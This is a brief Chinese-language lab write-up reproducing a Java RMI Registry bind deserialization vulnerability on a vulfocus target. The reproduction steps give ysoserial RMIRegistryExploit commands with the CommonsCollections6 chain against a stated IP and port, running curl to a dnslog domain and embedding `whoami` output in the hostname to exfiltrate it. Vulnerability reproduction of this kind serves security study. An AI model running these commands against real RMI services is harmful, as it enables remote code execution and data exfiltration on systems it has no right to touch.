java-rmi-registry-bind-deserialization

Java Remote Method Invocation 用于在Java中进行远程调用。RMI存在远程bind的功能(虽然大多数情况不允许远程bind),在bind过程中,伪造Registry接收到的序列化数据(实现了Remote接口或动态代理了实现了Remote接口的对象),使Registry在对数据进行反序列化时触发相应的利用链(环境用的是commons-collections:3.2.1)。

0x01 漏洞环境

vulfocus

0x02 影响版本

0x03 漏洞复现:

启动靶机,端口信息如下:

Untitled

访问1099端口,域名转成ip。

http://118.193.36.37:19330/

需要用到的工具:

vps上执行如下代码:

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 118.193.36.37 19330 CommonsCollections6 "curl [us2y34.dnslog.cn](<http://us2y34.dnslog.cn/>)"

dnslog服务器成功收到请求。

Untitled

whoami

java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 118.193.36.37 19330 CommonsCollections6 "curl `whoami`.us2y34.dnslog.cn"